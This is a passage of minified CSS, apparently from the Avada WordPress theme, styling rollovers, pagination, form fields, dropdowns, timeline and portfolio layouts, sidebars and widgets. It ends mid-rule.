.fusion-rollover{transform:scaleX(1)}.avada-image-rollover-direction-center_vertical .fusion-image-wrapper.hover .fusion-rollover,.avada-image-rollover-direction-center_vertical .fusion-image-wrapper:hover .fusion-rollover{transform:scaleY(1)}.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-product-buttons a:before,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories a,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title a,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .price,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .price *,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content a,.fusion-rollover .fusion-rollover-content .fusion-rollover-title{color:var(--image_rollover_text_color)}.fusion-hide-pagination-text .fusion-pagination .next,.fusion-hide-pagination-text .fusion-pagination .prev,.fusion-hide-pagination-text .pagination .pagination-next,.fusion-hide-pagination-text .pagination .pagination-prev,.fusion-pagination .current,.fusion-pagination .page-numbers:not(.prev):not(.next),.page-links a,.page-links>.page-number:not(.prev):not(.next),.pagination .current,.pagination .pagination-next,.pagination a.inactive{border-radius:var(--pagination_border_radius);border-width:var(--pagination_border_width)}body:not(.fusion-hide-pagination-text) .fusion-pagination .next,body:not(.fusion-hide-pagination-text) .fusion-pagination .prev,body:not(.fusion-hide-pagination-text) .pagination .pagination-next,body:not(.fusion-hide-pagination-text) .pagination .pagination-prev{line-height:var(--pagination_width_height)}body:not(.avada-has-pagination-padding) .fusion-pagination .current,body:not(.avada-has-pagination-padding) .fusion-pagination .page-numbers:not(.prev):not(.next),body:not(.avada-has-pagination-padding) .page-links a,body:not(.avada-has-pagination-padding) .page-links>.page-number:not(.prev):not(.next),body:not(.avada-has-pagination-padding) .pagination .current,body:not(.avada-has-pagination-padding) .pagination a.inactive,body:not(.avada-has-pagination-padding).fusion-hide-pagination-text .fusion-pagination .next,body:not(.avada-has-pagination-padding).fusion-hide-pagination-text .fusion-pagination .prev,body:not(.avada-has-pagination-padding).fusion-hide-pagination-text .pagination .pagination-next,body:not(.avada-has-pagination-padding).fusion-hide-pagination-text .pagination .pagination-prev{width:var(--pagination_width_height);height:var(--pagination_width_height);margin-left:calc((var(--pagination_width_height))/ 10);margin-right:calc((var(--pagination_width_height))/ 10)}body:not(.avada-has-pagination-padding) .pagination .pagination-next,body:not(.avada-has-pagination-padding) .pagination .pagination-prev{margin-left:calc((var(--pagination_width_height))/ 10);margin-right:calc((var(--pagination_width_height))/ 10)}body:not(.avada-has-pagination-padding) .pagination .pagination-dots{width:calc((var(--pagination_width_height))/ 2);margin-left:calc((var(--pagination_width_height))/ 10);margin-right:calc((var(--pagination_width_height))/ 10)}.avada-has-pagination-padding .fusion-pagination .current,.avada-has-pagination-padding .fusion-pagination .page-numbers:not(.prev):not(.next),.avada-has-pagination-padding .page-links a,.avada-has-pagination-padding .page-links>.page-number:not(.prev):not(.next),.avada-has-pagination-padding .pagination .current,.avada-has-pagination-padding .pagination a.inactive,.avada-has-pagination-padding.fusion-hide-pagination-text .fusion-pagination .next,.avada-has-pagination-padding.fusion-hide-pagination-text .fusion-pagination .prev,.avada-has-pagination-padding.fusion-hide-pagination-text .pagination .pagination-next,.avada-has-pagination-padding.fusion-hide-pagination-text .pagination .pagination-prev{padding:var(--pagination_box_padding-height) var(--pagination_box_padding-width) var(--pagination_box_padding-height) var(--pagination_box_padding-width)}.fusion-pagination .next,.fusion-pagination .page-numbers,.fusion-pagination .prev,.page-links,.pagination,.pagination .pagination-next,.pagination .pagination-prev{font-size:var(--pagination_font_size)}#comment-input input,.avada-select .select2-container .select2-choice,.avada-select .select2-container .select2-choice .select2-arrow,.avada-select .select2-container .select2-choice2 .select2-arrow,.chzn-container .chzn-drop,.chzn-container-single .chzn-single,.fusion-body .avada-select-parent select,.fusion-body .gift-cards-list button.ywgc-amount-buttons,.fusion-login-box .fusion-login-form input[type=password],.fusion-login-box .fusion-login-form input[type=text],.input-text:not(textarea),.main-nav-search-form input,.post-password-form label input[type=password],.search-page-search-form input,.searchform .fusion-search-form-content .fusion-search-button input[type=submit],.searchform .fusion-search-form-content .fusion-search-field input,.searchform .search-table .search-field input,.select2-container--default .select2-selection--single,.select2-container--default .select2-selection--single .select2-selection__arrow,input.s,input[type=date],input[type=email],input[type=number],input[type=password],input[type=tel],input[type=text],input[type=time],select{height:var(--form_input_height);padding-top:0;padding-bottom:0}.avada-select .select2-container .select2-choice .select2-arrow,.avada-select .select2-container .select2-choice2 .select2-arrow,.searchform .fusion-search-form-content .fusion-search-button input[type=submit]{width:var(--form_input_height)}.avada-select .select2-container .select2-choice .select2-arrow,.avada-select .select2-container .select2-choice2 .select2-arrow,.searchform .fusion-search-form-content .fusion-search-button input[type=submit],.select2-container .select2-choice>.select2-chosen,.select2-container--default .select2-selection--single .select2-selection__rendered{line-height:var(--form_input_height)}.fusion-main-menu .fusion-main-menu-search .fusion-custom-menu-item-contents{width:var(--form_input_height-main-menu-search-width)}#comment-input input,#comment-textarea textarea,.avada-select .select2-container .select2-choice,.avada-select .select2-container .select2-choice2,.chzn-container .chzn-drop,.chzn-container-single .chzn-single,.comment-form-comment textarea,.fusion-body .avada-select-parent select,.fusion-body .gift-cards-list button.ywgc-amount-buttons,.input-text,.main-nav-search-form input,.post-password-form label input[type=password],.search-page-search-form input,input.s,input[type=date],input[type=email],input[type=number],input[type=password],input[type=tel],input[type=text],input[type=time],select,textarea{background-color:var(--form_bg_color);font-size:var(--form_text_size);color:var(--form_text_color)}#comment-input input:focus,#comment-textarea textarea:focus,.avada-select .select2-container .select2-choice2:focus,.avada-select .select2-container .select2-choice:focus,.chzn-container .chzn-drop:focus,.chzn-container-single .chzn-single:focus,.comment-form-comment textarea:focus,.fusion-body .avada-select-parent select:focus,.fusion-body .gift-cards-list button.ywgc-amount-buttons:focus,.input-text:focus,.main-nav-search-form input:focus,.post-password-form label input[type=password]:focus,.search-page-search-form input:focus,input.s:focus,input[type=date]:focus,input[type=email]:focus,input[type=number]:focus,input[type=password]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,select:focus,textarea:focus{border-color:var(--form_focus_border_color)}.fusion-body .gift-cards-list .ywgc-amount-buttons.selected_button{border-color:var(--form_focus_border_color)}.searchform .fusion-search-form-content .fusion-search-field input,.select2-container--default .select2-selection--single{background-color:var(--form_bg_color);font-size:var(--form_text_size)}#wrapper .select-arrow,.avada-select-parent .select-arrow,.fusion-modal-content .select-arrow,.select2-dropdown{background-color:var(--form_bg_color)}#calc_shipping_state_field .select2-selection__placeholder,#comment-input .placeholder,#comment-textarea .placeholder,.fusion-search-element .searchform.fusion-search-form-clean .fusion-search-form-content .fusion-search-button input[type=submit],.fusion-search-form-clean .searchform:not(.fusion-search-form-classic) .fusion-search-form-content .fusion-search-button input[type=submit],.select2-results__option,input.s .placeholder{font-size:var(--form_text_size);color:var(--form_text_color)}#calc_shipping_state_field .select2-selection__placeholder:focus,#comment-input .placeholder:focus,#comment-textarea .placeholder:focus,.fusion-search-element .searchform.fusion-search-form-clean .fusion-search-form-content .fusion-search-button input[type=submit]:focus,.fusion-search-form-clean .searchform:not(.fusion-search-form-classic) .fusion-search-form-content .fusion-search-button input[type=submit]:focus,.select2-results__option:focus,input.s .placeholder:focus{border-color:var(--form_focus_border_color)}.select2-selection__rendered{font-size:var(--form_text_size)}.catalog-ordering a,.order-dropdown ul li a,.order-dropdown>li:after,.searchform .fusion-search-form-content .fusion-search-field input,.select2-container--default .select2-selection--single .select2-selection__rendered{color:var(--form_text_color)}.catalog-ordering a:focus,.order-dropdown ul li a:focus,.order-dropdown>li:after:focus,.searchform .fusion-search-form-content .fusion-search-field input:focus,.select2-container--default .select2-selection--single .select2-selection__rendered:focus{border-color:var(--form_focus_border_color)}.quicktags-toolbar{background:linear-gradient(to top,var(--content_bg_color),var(--form_bg_color)) #3e3e3e}.quicktags-toolbar input{font-size:var(--form_text_size);color:var(--form_text_color)}.quicktags-toolbar input:hover{background:var(--form_bg_color)}.quicktags-toolbar input:focus{border-color:var(--form_focus_border_color)}.fusion-live-search .fusion-search-results{background-color:var(--form_bg_color);font-size:var(--form_text_size);color:var(--form_text_color);border-radius:var(--form_border_radius)}.fusion-live-search .fusion-search-results:focus{border-color:var(--form_focus_border_color)}.fusion-live-search .fusion-search-results.suggestions-added{margin-top:var(--form_border_width-top)}.fusion-live-search .fusion-search-result,.fusion-live-search .fusion-search-results{border-color:var(--form_focus_border_color);border-width:var(--form_border_width-top) var(--form_border_width-right) var(--form_border_width-bottom) var(--form_border_width-left)}#wrapper .select-arrow,.avada-select-parent .select-arrow,.fusion-modal-content .select-arrow,.gravity-select-parent .select-arrow,.select-arrow,.wpcf7-select-parent .select-arrow{font-size:calc((var(--form_text_size)) * .75)}#comment-input input::-moz-placeholder,#comment-textarea textarea::-moz-placeholder,.comment-form-comment textarea::-moz-placeholder,.input-text::-moz-placeholder,.post-password-form label input[type=password]::-moz-placeholder,.searchform .s::-moz-placeholder,input.s::-moz-placeholder,input::-moz-placeholder,textarea.fusion-form-input::-moz-placeholder{color:var(--form_text_color)}#comment-input input::-webkit-input-placeholder,#comment-textarea textarea::-webkit-input-placeholder,.comment-form-comment textarea::-webkit-input-placeholder,.input-text::-webkit-input-placeholder,.post-password-form label input[type=password]::-webkit-input-placeholder,.searchform .s::-webkit-input-placeholder,input.s::-webkit-input-placeholder,input::-webkit-input-placeholder,textarea.fusion-form-input::-webkit-input-placeholder{color:var(--form_text_color)}.fusion-body select:focus+.select-arrow,.fusion-body select:focus+.select2-arrow{border-color:var(--form_focus_border_color);color:var(--form_focus_border_color)}.select2-container--default.select2-container--open .select2-dropdown,.select2-container--default.select2-container--open .select2-dropdown .select2-search,.select2-container--default.select2-container--open .select2-search--dropdown .select2-search__field,.select2-container--default.select2-container--open .select2-selection--single,.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow,.select2-container--default.select2-container--open .select2-selection--single .select2-selection__rendered{border-color:var(--form_focus_border_color)}.select2-container--default.select2-container--open .select2-selection--single:focus .select2-selection__arrow b{border-bottom-color:var(--form_focus_border_color)}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-bottom-color:var(--form_border_color)}.select2-container--default .select2-container .select2-selection:focus .select2-selection__arrow{border-color:var(--form_focus_border_color)}.select2-container--default .select2-selection--single:focus .select2-selection__arrow b{border-top-color:var(--form_focus_border_color)}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-top-color:var(--form_border_color)}.fusion-search-form-clean .fusion-live-search .fusion-slider-loading{border-bottom-color:var(--form_text_color);border-top-color:var(--form_text_color-35a);border-right-color:var(--form_text_color-35a);border-left-color:var(--form_text_color-35a)}#comment-input input,#comment-textarea textarea,.avada-select .select2-container .select2-choice,.avada-select .select2-container .select2-choice .select2-arrow,.avada-select .select2-container .select2-choice2 .select2-arrow,.chzn-container .chzn-drop,.chzn-container-single .chzn-single,.comment-form-comment textarea,.fusion-body .avada-select-parent .select-arrow,.fusion-body .avada-select-parent select,.fusion-body .gift-cards-list button.ywgc-amount-buttons,.gravity-select-parent .select-arrow,.input-text,.main-nav-search-form input,.post-password-form label input[type=password],.search-page-search-form input,.searchform .fusion-search-form-content .fusion-search-field input,.select-arrow,.select2-container .select2-selection .select2-selection__arrow,.select2-container--default .select2-dropdown .select2-search,.select2-container--default .select2-search--dropdown .select2-search__field,.select2-container--default .select2-selection--single,.select2-dropdown,input.s,input[type=date],input[type=email],input[type=number],input[type=password],input[type=tel],input[type=text],input[type=time],select,textarea{border-width:var(--form_border_width-top) var(--form_border_width-right) var(--form_border_width-bottom) var(--form_border_width-left);border-color:var(--form_border_color);border-radius:var(--form_border_radius)}.select-arrow,.select2-arrow{color:var(--form_border_color)}.quicktags-toolbar input{border:1px solid var(--form_border_color)}.fusion-contact-form .grecaptcha-badge{box-shadow:0 0 3px var(--form_border_color)!important}.fusion-search-element .searchform.fusion-search-form-classic .fusion-search-form-content,.fusion-search-form-classic .searchform:not(.fusion-search-form-clean) .fusion-search-form-content,input[type=tel]{border-radius:var(--form_border_radius);border-width:var(--form_border_width-top) var(--form_border_width-right) var(--form_border_width-bottom) var(--form_border_width-left)}.select2-container .select2-selection .select2-selection__arrow{border-width:var(--form_border_width-top) var(--form_border_width-right) var(--form_border_width-bottom) var(--form_border_width-left)}.avada-select-parent .select-arrow,.gravity-select-parent .select-arrow,.select-arrow,.wpcf7-select-parent .select-arrow{bottom:var(--form_border_width-bottom)}.fusion-blog-layout-masonry .fusion-post-content-wrapper,.fusion-portfolio-layout-masonry .fusion-portfolio-content{background-color:var(--timeline_bg_color-not-transparent)}.fusion-blog-layout-grid .post .fusion-post-wrapper,.fusion-blog-layout-timeline .post,.fusion-portfolio.fusion-portfolio-boxed .fusion-portfolio-content-wrapper{background-color:var(--timeline_bg_color)}.fusion-blog-layout-timeline .fusion-timeline-circle,.fusion-blog-layout-timeline .fusion-timeline-date,.fusion-blog-timeline-layout .fusion-timeline-circle,.fusion-blog-timeline-layout .fusion-timeline-date{background-color:var(--timeline_color)}.fusion-blog-timeline-layout .fusion-timeline-arrow,.fusion-blog-timeline-layout .fusion-timeline-icon,.fusion-timeline-arrow,.fusion-timeline-icon{color:var(--timeline_color)}.fusion-blog-layout-grid .post .flexslider,.fusion-blog-layout-grid .post .fusion-post-wrapper,.fusion-blog-layout-timeline .fusion-timeline-arrow,.fusion-blog-layout-timeline .fusion-timeline-date,.fusion-blog-layout-timeline .fusion-timeline-line,.fusion-blog-layout-timeline .post,.fusion-blog-layout-timeline .post .flexslider,.fusion-blog-timeline-layout .post,.fusion-blog-timeline-layout .post .flexslider,.fusion-portfolio.fusion-portfolio-boxed .fusion-portfolio-content-wrapper{border-color:var(--timeline_color)}.avada-has-transparent-timeline_color .fusion-blog-layout-grid .post .flexslider,.avada-has-transparent-timeline_color .fusion-blog-layout-grid .post .fusion-post-wrapper,.avada-has-transparent-timeline_color .fusion-blog-layout-timeline .fusion-timeline-arrow,.avada-has-transparent-timeline_color .fusion-blog-layout-timeline .fusion-timeline-date,.avada-has-transparent-timeline_color .fusion-blog-layout-timeline .fusion-timeline-line,.avada-has-transparent-timeline_color .fusion-blog-layout-timeline .post,.avada-has-transparent-timeline_color .fusion-blog-layout-timeline .post .flexslider,.avada-has-transparent-timeline_color .fusion-blog-timeline-layout .post,.avada-has-transparent-timeline_color .fusion-blog-timeline-layout .post .flexslider,.avada-has-transparent-timeline_color .fusion-portfolio.fusion-portfolio-boxed .fusion-portfolio-content-wrapper,.avada-has-transparent-timeline_color.fusion-portfolio.fusion-portfolio-boxed .fusion-portfolio-content-wrapper{border:none}.fusion-blog-layout-grid .post .fusion-content-sep,.fusion-blog-layout-timeline .post .fusion-content-sep,.fusion-blog-timeline-layout .post .fusion-content-sep,.fusion-body .product .fusion-content-sep,.fusion-portfolio.fusion-portfolio-boxed .fusion-content-sep{border-color:var(--grid_separator_color)}.fusion-blog-layout-grid .post .fusion-content-sep,.fusion-layout-timeline .post .fusion-content-sep,.fusion-portfolio.fusion-portfolio-boxed .fusion-content-sep{border-color:var(--grid_separator_color)}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){.avada-footer-fx-bg-parallax.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-no-height-bg-parallax.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-no-height-parallax-effect.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-no-height-sticky-with-parallax-bg-image.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-parallax-effect.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-sticky-with-parallax-bg-image.avada-has-footer-widget-bg-image .fusion-body #wrapper{background-color:transparent}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){.avada-footer-fx-bg-parallax.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-no-height-bg-parallax.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-no-height-parallax-effect.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-no-height-sticky-with-parallax-bg-image.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-parallax-effect.avada-has-footer-widget-bg-image .fusion-body #wrapper,.avada-footer-fx-sticky-with-parallax-bg-image.avada-has-footer-widget-bg-image .fusion-body #wrapper{background-color:transparent}}#slidingbar-area .widget-title,#slidingbar-area h3,.fusion-privacy-bar-full .column-title{font-family:var(--footer_headings_typography-font-family);font-size:var(--footer_headings_typography-font-size);font-weight:var(--footer_headings_typography-font-weight);line-height:var(--footer_headings_typography-line-height);letter-spacing:var(--footer_headings_typography-letter-spacing);text-transform:var(--footer_headings_typography-text-transform);font-style:var(--footer_headings_typography-font-style,normal);color:var(--footer_headings_typography-color)}.fusion-footer-widget-column .product-title{color:var(--footer_headings_typography-color)}:root{--adminbar-height:0px}body.admin-bar{--adminbar-height:32px}@media screen and (max-width:782px){body.admin-bar{--adminbar-height:46px}}.page-template-blank #boxed-wrapper{display:flex}.page-template-blank #boxed-wrapper>div{flex-grow:1;flex-basis:auto}#main .fusion-row,#slidingbar-area .fusion-row,.fusion-footer-widget-area .fusion-row,.fusion-page-title-row,.tfs-slider .slide-content-container .slide-content{max-width:var(--site_width)}.ua-mobile .avada-not-responsive #slidingbar-area.fusion-sliding-bar-position-bottom,.ua-mobile .avada-not-responsive #slidingbar-area.fusion-sliding-bar-position-top{width:var(--site_width)}body.avada-not-responsive{min-width:var(--site_width)}html:not(.avada-has-site-width-percent) #main,html:not(.avada-has-site-width-percent) .fusion-footer-copyright-area,html:not(.avada-has-site-width-percent) .fusion-footer-widget-area,html:not(.avada-has-site-width-percent) .fusion-sliding-bar-position-bottom .fusion-sliding-bar,html:not(.avada-has-site-width-percent) .fusion-sliding-bar-position-top .fusion-sliding-bar,html:not(.avada-has-site-width-percent) .tfs-slider .slide-content-container{padding-left:30px;padding-right:30px}html:not(.avada-has-site-width-percent) #main.width-100{padding-left:var(--hundredp_padding-fallback_to_zero);padding-right:var(--hundredp_padding-fallback_to_zero)}.fusion-page-title-bar.fusion-tb-page-title-bar{padding-left:0;padding-right:0;height:auto}.fusion-footer.fusion-tb-footer .fusion-footer-widget-area{padding:0}body.layout-boxed-mode{margin-top:var(--margin_offset-top)!important;margin-bottom:var(--margin_offset-bottom)!important}body.layout-boxed-mode #wrapper,body.layout-boxed-mode .fusion-footer-parallax{width:var(--site_width);max-width:100%;margin:0 auto}body.layout-boxed-mode #wrapper.wrapper_blank{display:block}.has-sidebar .width-100 .fusion-fullwidth,.has-sidebar .width-100 .nonhundred-percent-fullwidth{margin-left:0;margin-right:0}.width-100 .fusion-fullwidth,.width-100 .nonhundred-percent-fullwidth{margin-left:var(--hundredp_padding-hundred_percent_negative_margin);margin-right:var(--hundredp_padding-hundred_percent_negative_margin)}.width-100 .fusion-fullwidth .fusion-fullwidth,.width-100 .fusion-fullwidth .nonhundred-percent-fullwidth{margin-left:0;margin-right:0}.width-100 .fusion-fullwidth.fusion-absolute-container{width:calc(100% + 2 * (var(--hundredp_padding-fallback_to_zero_px)))}body.page-template-100-width.side-header .fusion-tb-footer .fusion-fullwidth.fusion-absolute-container{width:calc(100% - var(--side_header_width))}html.avada-has-site-width-percent body #main.width-100>.fusion-row,html.avada-has-site-width-percent body.avada-responsive #main.width-100>.fusion-row{padding-left:0;padding-right:0}html.avada-has-site-width-percent .width-100 .fullwidth-box,html.avada-has-site-width-percent .width-100 .fullwidth-box .fusion-row .fusion-full-width-sep{margin-left:var(--hundredp_padding-hundred_percent_negative_margin);margin-right:var(--hundredp_padding-hundred_percent_negative_margin)}html.avada-has-site-width-percent .width-100 .fullwidth-box .fullwidth-box,html.avada-has-site-width-percent .width-100 .fullwidth-box .fullwidth-box .fusion-row .fusion-full-width-sep{margin-left:0;margin-right:0}html.avada-has-site-width-percent.avada-has-site-width-100-percent #main .fusion-row,html.avada-has-site-width-percent.avada-has-site-width-100-percent #sliders-container .tfs-slider .slide-content-container,html.avada-has-site-width-percent.avada-has-site-width-100-percent #slidingbar .fusion-row,html.avada-has-site-width-percent.avada-has-site-width-100-percent .fusion-footer-copyright-area,html.avada-has-site-width-percent.avada-has-site-width-100-percent .fusion-footer-widget-area{padding-left:var(--hundredp_padding);padding-right:var(--hundredp_padding)}body.awb-no-sidebars #content{width:100%;float:none}body.has-sidebar #main .sidebar{width:var(--sidebar_width)}body.has-sidebar #content{width:calc(100% - var(--sidebar_width) - var(--sidebar_gutter))}body.has-sidebar.double-sidebars #main #sidebar{width:var(--sidebar_2_1_width);margin-left:calc(var(--dual_sidebar_gutter) - 100% + var(--sidebar_2_2_width))}body.has-sidebar.double-sidebars #main #sidebar-2{width:var(--sidebar_2_2_width);margin-left:var(--dual_sidebar_gutter)}body.has-sidebar.double-sidebars #content{width:calc(100% - var(--sidebar_2_1_width) - var(--sidebar_2_2_width) - var(--dual_sidebar_gutter) - var(--dual_sidebar_gutter));margin-left:calc(var(--sidebar_2_1_width) + var(--dual_sidebar_gutter))}#main{padding-left:30px;padding-right:30px;padding-top:var(--main_padding-top);padding-bottom:var(--main_padding-bottom)}#main.width-100{padding-left:var(--hundredp_padding-fallback_to_zero);padding-right:var(--hundredp_padding-fallback_to_zero)}html.avada-is-100-percent-template #main{padding-left:0;padding-right:0}html.avada-is-100-percent-template #main.width-100{padding-left:var(--hundredp_padding-fallback_to_zero);padding-right:var(--hundredp_padding-fallback_to_zero)}body.layout-boxed-mode.layout-scroll-offset-framed{margin-top:var(--margin_offset-top-no-percent)!important;margin-bottom:var(--margin_offset-bottom-no-percent)!important}.fusion-bottom-frame,.fusion-boxed-shadow,.fusion-sides-frame,.fusion-top-frame{display:none}.layout-boxed-mode.layout-scroll-offset-framed .fusion-sides-frame{display:block;position:fixed;width:100%;height:100%;left:0;top:0;pointer-events:none}.layout-boxed-mode.layout-scroll-offset-framed:not(.avada-has-zero-margin-offset-top) .fusion-bottom-frame,.layout-boxed-mode.layout-scroll-offset-framed:not(.avada-has-zero-margin-offset-top) .fusion-top-frame{display:block;position:fixed;z-index:99999;width:100%}.layout-boxed-mode.layout-scroll-offset-framed:not(.avada-has-zero-margin-offset-top) .fusion-sides-frame,.layout-boxed-mode.layout-scroll-offset-framed:not(.avada-has-zero-margin-offset-top) .fusion-top-frame{top:0}.layout-boxed-mode.layout-scroll-offset-framed:not(.avada-has-zero-margin-offset-top) .fusion-bottom-frame{bottom:0}.layout-boxed-mode.layout-scroll-offset-framed:not(.avada-has-zero-margin-offset-top).avada-has-boxed-modal-shadow-none .fusion-boxed-shadow{display:none}.layout-boxed-mode.layout-scroll-offset-framed:not(.avada-has-zero-margin-offset-top):not(.avada-has-boxed-modal-shadow-none):not(.avada-footer-fx-sticky) #wrapper{box-shadow:none}.layout-boxed-mode.layout-scroll-offset-framed.avada-has-boxed-modal-shadow-hard .fusion-boxed-shadow,.layout-boxed-mode.layout-scroll-offset-framed.avada-has-boxed-modal-shadow-light .fusion-boxed-shadow,.layout-boxed-mode.layout-scroll-offset-framed.avada-has-boxed-modal-shadow-medium .fusion-boxed-shadow{display:block;position:fixed;z-index:99999;pointer-events:none}.layout-boxed-mode.layout-scroll-offset-framed .fusion-top-frame{height:var(--margin_offset-top-no-percent)}.layout-boxed-mode.layout-scroll-offset-framed .fusion-bottom-frame{height:var(--margin_offset-bottom-no-percent)}.layout-boxed-mode.layout-scroll-offset-framed .fusion-boxed-shadow{width:var(--site_width);height:calc(100vh - var(--margin_offset-top-no-percent) - var(--margin_offset-bottom-no-percent));top:var(--margin_offset-top-no-percent);left:calc((100% - var(--site_width))/ 2)}.layout-boxed-mode.layout-scroll-offset-framed.admin-bar .fusion-sides-frame,.layout-boxed-mode.layout-scroll-offset-framed.admin-bar .fusion-top-frame{top:32px}.layout-boxed-mode.layout-scroll-offset-framed.admin-bar .fusion-boxed-shadow{height:calc(100vh - var(--margin_offset-top-no-percent) - var(--margin_offset-bottom-no-percent) - var(--adminbar-height))}.layout-boxed-mode.layout-scroll-offset-framed.admin-bar .fusion-boxed-shadow{top:calc(var(--margin_offset-top-no-percent) + var(--adminbar-height))}.layout-boxed-mode:not(.avada-has-zero-margin-offset-top).layout-scroll-offset-framed #boxed-wrapper{padding-top:var(--margin_offset-top-no-percent);padding-bottom:var(--margin_offset-bottom-no-percent);margin-top:calc(var(--margin_offset-top-no-percent)/ -1);margin-bottom:calc(var(--margin_offset-bottom-no-percent)/ -1)}html.avada-has-site-width-percent .avada-responsive.layout-boxed-mode #main .fusion-row,html.avada-has-site-width-percent .avada-responsive.layout-boxed-mode #slidingbar-area .fusion-row,html.avada-has-site-width-percent .avada-responsive.layout-boxed-mode #small-nav .fusion-row,html.avada-has-site-width-percent .avada-responsive.layout-boxed-mode .fusion-footer-copyright-area .fusion-row,html.avada-has-site-width-percent .avada-responsive.layout-boxed-mode .fusion-footer-widget-area .fusion-row,html.avada-has-site-width-percent .avada-responsive.layout-boxed-mode .fusion-page-title-row{max-width:none;padding-left:10px;padding-right:10px}html.avada-has-site-width-percent.avada-html-not-responsive{overflow-x:auto}html.avada-has-site-width-percent.avada-html-not-responsive body{overflow-x:auto}.layout-wide-mode #wrapper{width:100%;max-width:none}.avada-has-pagetitle-100-width.layout-wide-mode .fusion-page-title-row{max-width:100%}.avada-footer-fx-parallax-effect #main{z-index:auto}.avada-footer-fx-parallax-effect .fusion-tb-header .fusion-fullwidth{--awb-z-index:2}.fusion-portfolio-boxed .fusion-portfolio-unboxed .fusion-portfolio-content{padding:0;margin:20px 0}.fusion-portfolio-boxed .fusion-portfolio-unboxed .fusion-portfolio-content-wrapper{border:none}.fusion-portfolio-layout-masonry .fusion-portfolio-content{position:absolute;bottom:0;left:0;right:0;z-index:1;margin:0}.fusion-portfolio-content-wrapper .fusion-portfolio-content{text-align:var(--portfolio_archive_text_alignment)}.fusion-portfolio-layout-masonry{margin:calc((var(--portfolio_archive_column_spacing))/ -2)}.fusion-portfolio-layout-masonry .fusion-portfolio-content{padding:var(--portfolio_archive_text_layout-padding)}article.fusion-portfolio-post.post.fusion-col-spacing{padding:calc((var(--portfolio_archive_column_spacing))/ 2)}.fusion-portfolio-boxed .fusion-portfolio-content{padding-top:var(--portfolio_archive_layout_padding-top);padding-bottom:var(--portfolio_archive_layout_padding-bottom);padding-left:var(--portfolio_archive_layout_padding-left);padding-right:var(--portfolio_archive_layout_padding-right)}.fusion-portfolio-archive .fusion-load-more-button.fusion-portfolio-button{background-color:var(--portfolio_archive_load_more_posts_button_bg_color);color:var(--portfolio_archive_load_more_posts_button_text_color)}.fusion-portfolio-archive .fusion-load-more-button.fusion-portfolio-button:hover{background-color:var(--portfolio_archive_load_more_posts_hover_button_bg_color);color:var(--portfolio_archive_load_more_posts_hover_button_text_color)}.fusion-portfolio-content .fusion-portfolio-meta{font-size:var(--portfolio_meta_font_size)}body .fusion-content-widget-area .button{margin-left:15px}.widget_recent_entries .post-date{display:block}.fusion-content-widget-area>section:last-child{margin-bottom:0}.fusion-content-widget-area .widget{margin-bottom:45px;position:relative}.fusion-content-widget-area .widget.flickr{overflow:hidden}.fusion-content-widget-area .widget ul{list-style:none;margin:0;padding:0}.fusion-content-widget-area .widget li{margin:0;padding:0;display:block}.fusion-content-widget-area .widget li a{display:inline}.fusion-content-widget-area .widget .recentcomments,.fusion-content-widget-area .widget li a,.fusion-content-widget-area .widget_categories li{color:#838383}.fusion-content-widget-area .widget .recentcomments,.fusion-content-widget-area .widget_categories li{display:block}.fusion-content-widget-area .widget .recentcomments a{background:0 0;border:none}.fusion-content-widget-area .contact_info .address{margin:0 0 15px}.fusion-content-widget-area .flickr-photo a{background:0 0;float:left;border:0}.fusion-content-widget-area .widget_categories li a{display:block;border:0;background:0 0;padding:0}.fusion-content-widget-area .jtwt .jtwt_tweet:before{color:#d8d8d8}.fusion-content-widget-area #comment-input input,.fusion-content-widget-area input.s{width:100%;margin-right:0}.fusion-content-widget-area .widget_recent_entries ul{padding:0}.fusion-content-widget-area ul.list-icon{margin-left:25px}.fusion-content-widget-area .fusion-image-wrapper .fusion-rollover .fusion-rollover-content a:hover{color:#333}.sidebar{width:23.4042553%;float:right}.sidebar.fusion-sticky-sidebar .fusion-sidebar-inner-content>section:last-child{margin-bottom:0!important}.sidebar .widget{margin-bottom:45px;position:relative}.sidebar .widget.flickr{overflow:hidden}.sidebar .widget .widget_title{margin:0;padding:0;font-size:13px;margin-bottom:18px;color:#333}.sidebar .widget ul{list-style:none;margin:0;padding:0}.sidebar .widget li{margin:0;padding:0;display:block}.fusion-content-widget-area .contact_info p,.fusion-widget-area .contact_info p{margin:0}.fusion-content-widget-area .s{width:100%}#slidingbar .widget_calendar table,.sidebar .widget_calendar table{width:100%}.widget_calendar.fusion-widget-align-default th{text-align:left}.widget_calendar #next{text-align:right}.widget_calendar #prev{text-align:left}.fusion-ad-125-125 .fusion-image-row{display:flex;flex-wrap:wrap}.fusion-ad-125-125 .fusion-image-holder{display:inline-block;box-sizing:border-box;padding:2px;width:50%}.fusion-ad-125-125 .fusion-image-holder a{display:inline-block}.tagcloud a{display:inline-flex;align-items:center;margin:2px 0;padding:0 10px;min-height:2.15em;line-height:2.15em;font-size:.9em;border:1px solid;text-shadow:none}.fusion-body .widget .tagcloud a:hover{color:#fff}.jtwt li{background:0 0}.fusion-content-widget-area .jtwt .jtwt_tweet,.jtwt .jtwt_tweet{position:relative;padding:0;border:0;margin-bottom:30px;font-size:13px;line-height:20px;padding-left:45px;padding-top:0}.jtwt 